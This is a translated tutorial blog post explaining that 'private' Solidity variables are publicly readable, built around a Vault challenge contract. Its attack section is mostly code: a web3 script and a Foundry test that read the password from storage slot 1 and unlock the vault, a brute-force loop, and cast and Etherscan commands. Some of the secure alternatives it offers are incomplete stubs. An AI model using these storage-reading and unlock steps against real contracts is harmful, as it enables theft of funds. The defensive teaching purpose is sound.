本文深入分析了以太坊智能合约中“private”变量的安全性误解,指出区块链的透明性使得任何人都可能通过分析读取合约存储中的敏感数据。
请在 LinkedIn 上关注我,获取更多区块链开发内容。
想象一下,你将你的银行密码存储在一个“私有”的金库中,结果却发现任何拥有正确工具的人都可以窥视并以明文形式读取它。这正是当开发者误解智能合约中的区块链隐私时发生的事情。在分析了数百个成为这种基本误解受害者的智能合约后,我发现通过区块链分析可以利用直接在智能合约状态变量中存储敏感数据的方式。🚫本指南将打破“私有”变量的幻觉,并使你掌握避免这种关键安全陷阱的知识。🔍
区块链就像一个透明的玻璃房子,每个房间都可以用合适的设备观察到。当开发者将变量声明为 private
时,他们就创造了一种危险的安全假象。以下是残酷的现实:
“私有” 实际意味着什么:
区块链的真相:
让我们检查一下具有欺骗性的简单 Vault 合约,该合约会诱使开发者产生错误的安全感:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password; // ⚠️ 安全幻觉
constructor(bytes32 _password) public {
locked = true;
password = _password; // 🚨 以明文存储
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
致命的缺陷:
bytes32 private password
制造了虚假的安全感为了破解这个 Vault,我们需要了解以太坊如何存储数据。将合约存储视为一个带有编号的抽屉(槽)的大型文件柜:
存储规则:
我们 Vault 的存储映射:
Slot 0: bool locked (1 字节,但由于下一个变量而占用整个槽)
Slot 1: bytes32 password (32 字节,整个槽)
password
位于槽 1 中,等待着任何知道在哪里查找的人读取。
// 连接到你的以太坊 provider
const Web3 = require('web3');
const web3 = new Web3('YOUR_RPC_ENDPOINT');
async function crackVault(contractAddress) {
try {
// 读取存储槽 1(密码存储的位置)
const password = await web3.eth.getStorageAt(contractAddress, 1);
console.log('🔓 密码已找到:', password);
// 现在解锁 Vault
const contract = new web3.eth.Contract(VAULT_ABI, contractAddress);
await contract.methods.unlock(password).send({
from: YOUR_ADDRESS,
gas: 100000
});
console.log('✅ Vault 已解锁!');
return password;
} catch (error) {
console.error('❌ 攻击失败:', error);
}
}
// 执行攻击
crackVault('0x...');
// VaultExploit.t.sol
pragma solidity ^0.8.0;import "forge-std/Test.sol";
import "./Vault.sol";contract VaultExploitTest is Test {
Vault public vault;
bytes32 private stolenPassword;
function setUp() public {
// 使用秘密密码部署 Vault
bytes32 secretPassword = keccak256("super_secret_password");
vault = new Vault(secretPassword);
}
function testExploitVault() public {
// 🎯 攻击:直接读取私有存储
stolenPassword = vm.load(address(vault), bytes32(uint256(1)));
// 验证我们是否找到了正确的密码
assertFalse(vault.locked() == false, "Vault 最初应处于锁定状态");
// 💥 利用:使用被盗密码解锁 Vault
vault.unlock(stolenPassword);
// ✅ 成功:Vault 现在已解锁
assertTrue(vault.locked() == false, "Vault 应该被解锁");
console.log("🔓 密码已破解:", vm.toString(stolenPassword));
}
// 备选方案:如果密码可预测,则进行暴力破解
function testBruteForceAttack() public {
bytes32[] memory commonPasswords = new bytes32[](3);
commonPasswords[0] = keccak256("password123");
commonPasswords[1] = keccak256("admin");
commonPasswords[2] = keccak256("secret");
for (uint i = 0; i < commonPasswords.length; i++) {
try vault.unlock(commonPasswords[i]) {
if (!vault.locked()) {
console.log("🎯 暴力破解成功!");
break;
}
} catch {
// 继续尝试
}
}
}
}
## 查找合约部署交易
curl -X GET \
"https://api.etherscan.io/api?module=account&action=txlist&address=CONTRACT_ADDRESS&startblock=0&endblock=99999999&sort=asc&apikey=YOUR_API_KEY"
## 分析构造函数的输入数据
## 密码将在交易输入数据中可见
echo "构造函数数据包含明文密码!"
## 使用 Foundry 的 cast 工具
cast storage CONTRACT_ADDRESS 1 --rpc-url YOUR_RPC_URL
## 输出:十六进制格式的密码
## 示例:0x412076657279207374726f6e67207365637265742070617373776f7264203a29
此漏洞已导致 DeFi 遭受巨大损失:
历史事件:
攻击场景:
contract SecureVault {
bool public locked = true;
bytes32 private commitHash;
uint256 private revealDeadline;
// 阶段 1:提交密码哈希
function commitPassword(bytes32 _commitHash) external {
commitHash = _commitHash;
revealDeadline = block.timestamp + 1 hours;
}
// 阶段 2:揭示并解锁
function unlock(string memory _password, uint256 _nonce) external {
require(block.timestamp <= revealDeadline, "揭示期已过");
bytes32 hash = keccak256(abi.encodePacked(_password, _nonce));
require(hash == commitHash, "密码无效");
locked = false;
}
}
contract OffChainVault {
bool public locked = true;
address private authorizedSigner;
mapping(address => bool) private authorizedUsers;
constructor(address _signer) {
authorizedSigner = _signer;
}
function unlock(
bytes32 _messageHash,
bytes memory _signature
) external {
// 验证签名是否由授权签名者创建
address signer = recoverSigner(_messageHash, _signature);
require(signer == authorizedSigner, "未经授权");
// 验证消息是否包含用户的地址
bytes32 expectedHash = keccak256(abi.encodePacked(msg.sender));
require(_messageHash == expectedHash, "消息无效");
locked = false;
}
function recoverSigner(
bytes32 _messageHash,
bytes memory _signature
) internal pure returns (address) {
// ECDSA 签名恢复逻辑
// ... 实现细节
}
}
// 使用 ZK-SNARK 进行密码验证
contract ZKVault {
bool public locked = true;
uint256 private passwordHashCommitment;
constructor(uint256 _commitment) {
passwordHashCommitment = _commitment;
}
function unlock(
uint256[2] memory _pA,
uint256[2][2] memory _pB,
uint256[2] memory _pC,
uint256[] memory _publicInputs
) external {
// 验证 ZK 证明,而不显示密码
require(verifyProof(_pA, _pB, _pC, _publicInputs), "证明无效");
require(_publicInputs[0] == passwordHashCommitment, "承诺错误");
locked = false;
}
function verifyProof(
uint256[2] memory _pA,
uint256[2][2] memory _pB,
uint256[2] memory _pC,
uint256[] memory _publicInputs
) internal view returns (bool) {
// ZK-SNARK 验证逻辑
// 需要受信任的设置和电路
}
}
contract TimeLockVault {
bool public locked = true;
uint256 private unlockTime;
address private owner;
modifier onlyAfterUnlockTime() {
require(block.timestamp >= unlockTime, "仍然锁定");
_;
}
modifier onlyOwner() {
require(msg.sender == owner, "未经授权");
_;
}
constructor(uint256 _lockDuration) {
owner = msg.sender;
unlockTime = block.timestamp + _lockDuration;
}
function unlock() external onlyOwner onlyAfterUnlockTime {
locked = false;
}
}
contract MultiSigVault {
bool public locked = true;
address[] public signers;
uint256 public requiredSignatures;
mapping(bytes32 => uint256) public signatureCount;
mapping(bytes32 => mapping(address => bool)) public hasSigned;
constructor(address[] memory _signers, uint256 _required) {
signers = _signers;
requiredSignatures = _required;
}
function unlock(bytes32 _txHash, bytes[] memory _signatures) external {
require(_signatures.length >= requiredSignatures, "签名不足");
uint256 validSignatures = 0;
for (uint256 i = 0; i < _signatures.length; i++) {
address signer = recoverSigner(_txHash, _signatures[i]);
if (isValidSigner(signer) && !hasSigned[_txHash][signer]) {
hasSigned[_txHash][signer] = true;
validSignatures++;
}
}
require(validSignatures >= requiredSignatures, "签名无效");
locked = false;
}
function isValidSigner(address _signer) internal view returns (bool) {
for (uint256 i = 0; i < signers.length; i++) {
if (signers[i] == _signer) return true;
}
return false;
}
}
// ComprehensiveVaultTest.sol
contract VaultSecurityTest is Test {
function testStorageReading() public {
// 尝试读取所有存储槽
for (uint256 i = 0; i < 10; i++) {
bytes32 value = vm.load(address(vault), bytes32(i));
if (value != bytes32(0)) {
console.log("Non-zero storage at slot", i, ":", vm.toString(value));
}
}
}
function testTransactionAnalysis() public {
// 检查部署交易中是否存在敏感数据
// 这需要在实际场景中进行链下分析
assertTrue(true, "需要手动验证");
}
function testBruteForceResistance() public {
// 测试常见的密码模式
bytes32[] memory commonPatterns = new bytes32[](100);
// ... 使用常见的模式填充
for (uint256 i = 0; i < commonPatterns.length; i++) {
// 尝试解锁 - 对于安全的 Vault 来说,所有这些都应该失败
vm.expectRevert();
vault.unlock(commonPatterns[i]);
}
}
}
易受攻击的 Vault 评估:
安全替代方案比较:
Vault 挑战教会了我们区块链安全的基本原则:
✅ 在公共区块链上,隐私只是一种幻觉
✅ 任何人都可以公开读取“私有”变量
✅ 可以使用简单的工具直接访问存储槽
✅ 真正的安全性需要加密保护,而不是语言关键字
✅ 深度防御 可防止单点故障
✅ 测试必须包括存储分析,以捕获泄漏
请记住: 在区块链开发中,假设所有内容都是公开的,除非另有证明。围绕此现实构建你的安全模型,而不是一厢情愿的想法。
Vault 门可能看起来已锁定,但在区块链上,每个人都拥有读取你的“私有”存储的主密钥。据此进行设计。🔓
- 原文链接: blog.blockmagnates.com/e...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!